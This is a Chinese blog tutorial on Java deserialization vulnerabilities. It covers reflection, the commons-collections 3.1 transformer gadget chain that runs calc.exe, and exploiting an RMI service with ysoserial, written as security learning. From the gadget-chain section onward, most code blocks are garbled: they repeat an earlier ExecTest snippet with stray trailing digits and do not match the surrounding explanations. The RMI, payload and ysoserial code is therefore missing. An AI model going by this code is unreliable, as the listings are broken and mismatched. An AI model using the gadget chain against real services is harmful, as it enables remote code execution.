浅显易懂的JAVA反序列化入门

0x00前言

因为我平时打CTF的时候遇到的web大部分都是php的代码，php环境搭建也十分的方便。所有在刚刚接触到java反序列化漏洞的时候也不知道怎么下手，因为两者差别还是比较大，所以希望自己的见解能够对刚接触这块的人有所帮助

我的源码和笔记Github地址在文章的最后

这篇文章之前是发到先知上https://xz.aliyun.com/t/4711

但登录自己的账号看文章很麻烦23333，所以还是备一份到博客上

0x01我了解JAVA发序列化的过程

最开始看java反序列化的文章是比较难懂的，即使能把别人的例子拿来运行成功了，但是还是没有把要领装入脑袋中。我学习这方面的步骤如下，希望有所帮助

1.先了解下JMX是什么，明白本地java虚拟机如何运行远程的java虚拟机的代码，

2.了解RMI是什么，明白RMI和JMX的异同之处，

3.了解java反射的机制

4.了解java的反序列化commons-collections-3.1漏洞

5.再把commons-collections-3.1的反序列化运用在远程的RMI服务器上

这篇文章讲述的内容是

本地运行commons-collections-3.1的反序列化

构造commons-collections-3.1的序列化的代码

启动rmi服务，利用commons-collections-3.1的反序列化

0x02 java反射简介

先看在java中执行系统命令的方法

public class ExecTest {
    public static void main(String[] args) throws Exception{
        Runtime.getRuntime().exec("notepad.exe");
    }
}

该代码会运行并打开windows下的记事本

它正常的步骤是

public class ExecTest {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
		runtime.exec("notepad.exe");
    }
}

那么相应的反射的代码如下

import java.lang.reflect.Method;
public class ExecTest {
    public static void main(String[] args) throws Exception{
        Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
        //System.out.println(runtime.getClass().getName());
 	Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
    }
}

getMethod(方法名, 方法类型)
invoke(某个对象实例， 传入参数)

这里第一句Object runtime =Class.forName("java.lang.Runtime")的作用

等价于 Object runtime = Runtime.getRuntime()

目的是获取一个对象实例好被下一个invoke调用

第二句Class.forName("java.lang.Runtime").xxxx的作用就是调用上一步生成的runtime实例的exec方法，并将"notepad.exe"参数传入exec()方法

0x03 JAVA反序列化的操作函数

ObjectOutputStream类的writeObject(Object obj)方法,将对象序列化成字符串数据
ObjectInputStream类的readObject(Object obj)方法，将字符串数据反序列化成对象

测试代码

import java.io.*;
public class Serialize {
    public static void main(String[] args) throws Exception{
        //要序列化的数据
        String name = "sijidou";
 		//序列化
 		FileOutputStream fileOutputStream = new FileOutputStream("serialize1.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(name);
        objectOutputStream.close();
		//反序列化
        FileInputStream fileInputStream = new FileInputStream("serialize1.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Object result = objectInputStream.readObject();
        objectInputStream.close();
        System.out.println(result);
    }
}

把刚刚的执行操作的代码进行序列化和反序列化

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Serialize2 {
    public static void main(String[] args) throws Exception{
        //要序列化的数据
        Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
        Object evil = Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(runtime, "notepad.exe");
		//Object evil = Runtime.getRuntime().exec("notepad.exe");
        //序列化
        FileOutputStream fileOutputStream = new FileOutputStream("serialize2.txt");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(evil);
        objectOutputStream.close();
        //反序列化
        FileInputStream fileInputStream = new FileInputStream("serialize2.txt");
        ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
        Object result = objectInputStream.readObject();
        objectInputStream.close();
        System.out.println(result);
    }
}

这样是不能触发的，因为Runtime类没有继承Serializable接口，所以导致不会成功，它弹是在写Object的时候会弹的

0x04 commons-collections-3.1反序列化漏洞

代码在远程调用前，要明白本地是如何实现的，这个时候DEBUG是个非常棒的东西

首先漏洞组件的下载地址：https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1

网上很多都拿这个反序列漏洞来讲解java反序列化的知识点，我这里就拿一个payload，代码如下

public class ApacheSerialize {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);
		//创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
		//触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        onlyElement.setValue("foobar");
    }
}

这里涉及到了3个比较重要的对象InvokerTransformer``ChaniedTransformer和TransformedMap

首先看看InvokerTransformer，它是执行恶意代码的主要问题所在

public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var4) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAcces***ception var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
        }
    }
}

可以看到它利用了反射进行调用函数，Object是传进来的参数，this.iMethodName,this.iParamTypes和this.iArgs是类中的私有成员

这反射类比下正常的调用就是如下形式

input.(this.iMethodName(<this.iParamTypes[0]> this.iArgs[0], <this.iParamTypes[1]> this.iArgs[1]))

input是类名， this.iMethodName是方法名，之后的this.iParamTypes是参数类型，this.iParamTypes是参数的值

查看3个私有变量传进来的方式，是利用的构造函数，即在new的时候，把参数代入到私有成员

public class InvokerTransformer implements Transformer, Serializable {
	private final String iMethodName;
	private final Class[] iParamTypes;
	private final Object[] iArgs;
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

因此我在payload中第一部生成的transformers数组的效果等价于

public class ExecTest {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
		runtime.exec("notepad.exe");
    }
}0

input是后面调用transform(Object input)的传参，但是这3个明显是闲散的，我们的目的是把它们组合起来

这时候就是要靠ChaniedTransformer

看一下ChainedTransformer类的transform方法

public class ExecTest {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
		runtime.exec("notepad.exe");
    }
}1

是一个反复的循环调用，后面一个transformers调用前面一个tranformers的返回值，并且会遍历一遍数组里面的所有值

再看看之前构造的chainedTransformer对象里面的内容

public class ExecTest {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
		runtime.exec("notepad.exe");
    }
}2

最后看能带有触发这个攻击链的方法的对象TransformedMap

利用 Map.Entry取得第一个值，调用修改值的函数，会触发下面的setValue()代码

public class ExecTest {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
		runtime.exec("notepad.exe");
    }
}3

而其中的checkSetValue()实际上是触发TransoformedMap的checkSetValue()方法，而此次的this.valueTransformer就是ChianedTransformer类，之后就会触发漏洞利用链

public class ExecTest {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
		runtime.exec("notepad.exe");
    }
}4

回到整体的payload的中的参数

payload中的利用反射的结构是这样的

public class ExecTest {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
		runtime.exec("notepad.exe");
    }
}5

因为我JAVA不是太熟悉，理解了好久，这里简述下我的理解,InvokerTransformer的构造函数如下

public class ExecTest {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
		runtime.exec("notepad.exe");
    }
}6

第一个是字符串，是调用的方法名，第二个是个Class数组，带的是方法的参数的类型，第三个是Object数组，带的是方法的参数的值

以getMethod举例

第一个参数"getMethod"是这个函数的名字

第二个参数new Class[]{String.class, Class[].class}是getMethod的2个参数参数类型，一个是String，一个是class[]

第三个参数new Object[]{"getRuntime", new Class[0]}是getMethod的2个参数值，一个是getRuntime，一个是空，因为是数组形式所以要这么写

上面这个组合起来相当于 getMethod(\<String\> "getRuntime", \<Class[]\> null)

整理一下思路

public class ExecTest {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
		runtime.exec("notepad.exe");
    }
}7

至此已经能够触发漏洞了，之后还会执行什么步骤无关紧要了

0x05 payload实现

上面的代码只是作为一段小脚本执行了，但是没有被用来通过网络传输payload，然后被反序列化利用，并且还要满足被反序列化之后还会改变map的值等总总因素的影响,假设一个理想的情况如下

public class ExecTest {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
		runtime.exec("notepad.exe");
    }
}8

该情况可以触发，但是现实中往往不一定存在把数据反序列化后，再调用其中TransformedMap的Map.Entry类型的setValue方法

在java中，自带的类中还有一个类叫做AnnotationInvocationHandler

该类中重写的readObject方法在被调用时会将其中的map，转成Map.Entry，并执行setValue操作，那么能把TransformedMap装入这个AnnotationInvocationHandler类，再传过去，就可以不用考虑之后代码是否执行setValue就可以直接利用漏洞了

public class ExecTest {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
		runtime.exec("notepad.exe");
    }
}9

setValue的点在这一行

import java.lang.reflect.Method;
public class ExecTest {
    public static void main(String[] args) throws Exception{
        Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
        //System.out.println(runtime.getClass().getName());
 	Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
    }
}0

最后利用的payload如下

import java.lang.reflect.Method;
public class ExecTest {
    public static void main(String[] args) throws Exception{
        Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
        //System.out.println(runtime.getClass().getName());
 	Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
    }
}1

能够直接触发

为什么jdk为1.8就无法这么利用了,看jdk1.8的AnnotationInvocationHandler源码，readObject中在jdk1.7的setValue已经变成了

import java.lang.reflect.Method;
public class ExecTest {
    public static void main(String[] args) throws Exception{
        Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
        //System.out.println(runtime.getClass().getName());
 	Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
    }
}2

import java.lang.reflect.Method;
public class ExecTest {
    public static void main(String[] args) throws Exception{
        Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
        //System.out.println(runtime.getClass().getName());
 	Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
    }
}3

在jdk1.8下不能触发

ysoserial的包里面也有commons-collectons-3.1的payload，它利用的是jdk中的BadAttributeValueExpException这个类重写readObject来实现的

该项目的GitHub地址https://github.com/frohoff/ysoserial

ysoserial的使用方法

import java.lang.reflect.Method;
public class ExecTest {
    public static void main(String[] args) throws Exception{
        Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
        //System.out.println(runtime.getClass().getName());
 	Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
    }
}4

把1.txt 里面的内容反序列化化即可触发生成calc.exe的命令

0x06 RMI简介

RMI（Remote Method Invocation），远程方法调用

JNDI（Java Naming and Directory Interface），Java 命名与目录接口

JNDI是注册表可以包含很多的RMI，举个例子就JNDI像个本子，RMI像本子上的记录，客户端调用RMI记录的时候会先去JNDI这个本子，然后从本子上找相应的RMI记录

性质

与JMX服务器之间的通信使用的协议就是rmi协议

rmi可以传输序列化的数据

传输原理

1.客户端 => 客户端本地的stub类

2.客户端本地的stub类把信息序列化 => 服务器端的skeletons类

3.服务器端的skeletons类把信息反序列化 => 服务器端的对应类进行处理

4.服务器端对应类处理完后 => 服务器端的skeletions类

5.skeletions类序列化数据 => 客户端本地的stub类

6.客户端本地的stub类把数据反序列化 => 客户端

但在java 1.2版本后免去了3、5的步骤，直接在对应的类上进行序列化和反序列化

0x07 RMI服务器实现

首先定义一个User接口，这个接口和普通接口不一样在于要抛出RemoteException的异常

import java.lang.reflect.Method;
public class ExecTest {
    public static void main(String[] args) throws Exception{
        Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
        //System.out.println(runtime.getClass().getName());
 	Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
    }
}5

接着实现该接口的各种函数的UserImpl类，实现的类也要抛出RemoteException的异常

import java.lang.reflect.Method;
public class ExecTest {
    public static void main(String[] args) throws Exception{
        Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
        //System.out.println(runtime.getClass().getName());
 	Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
    }
}6

最后是启动这个服务

import java.lang.reflect.Method;
public class ExecTest {
    public static void main(String[] args) throws Exception{
        Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
        //System.out.println(runtime.getClass().getName());
 	Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
    }
}7

LocateRegistry.createRegistry(4396)把4396端口号在JNDI中注册，将开启RMI的服务的端口

Naming.rebind()来实现将类和端口版本，开放出去

运行后，就会在4396端口进行监听

0x08 通过RMI服务器运行commons-collectons-3.1反序列化漏洞

这个RMI的问题在于，它的void dowork(Object work)函数接收了Object类型

import java.lang.reflect.Method;
public class ExecTest {
    public static void main(String[] args) throws Exception{
        Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
        //System.out.println(runtime.getClass().getName());
 	Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
    }
}8

而我们的把攻击链生成的payload也是Object类型，因此可以通过该点传入触发漏洞

在jdk1.7，并且服务器上有commons-collectons-3.1的情况下，运行下面payload弹出计算机

import java.lang.reflect.Method;
public class ExecTest {
    public static void main(String[] args) throws Exception{
        Object runtime = Class.forName("java.lang.Runtime").getMethod("getRuntime", new Class[]{}).invoke(null);
        //System.out.println(runtime.getClass().getName());
 	Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"notepad.exe");
    }
}9

在jdk1.8下会失败

那么利用之前的ysoserial生成的1.txt，来触发jdk1.8的漏洞

getMethod(方法名, 方法类型)
invoke(某个对象实例， 传入参数)0

成功弹出计算器

那么在另一台设备上，我这里用kali的虚拟机使用ysoserial工具来给本地的win10RMI服务器发送payload

win10在虚拟机的虚拟网卡ip:10.10.10.1

kali的ip:10.10.10.128

getMethod(方法名, 方法类型)
invoke(某个对象实例， 传入参数)1

结语

源码和笔记

JMX：https://github.com/SiJiDo/JMX-

RMI：https://github.com/SiJiDo/RMI-simple-notes

JAVA反序列化：https://github.com/SiJiDo/JAVA-Serialize-vuln

参考文章
https://www.jianshu.com/p/a947717ded70
https://blog.csdn.net/lmy86263/article/details/72594760
http://www.importnew.com/20344.html
https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/
https://www.cnblogs.com/ysocean/p/6516248.html
https://www.freebuf.com/vuls/170344.html
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
https://www.cnblogs.com/luoxn28/p/5686794.html
https://security.tencent.com/index.php/blog/msg/97
https://p0sec.net/index.php/archives/121/
https://xz.aliyun.com/t/4558

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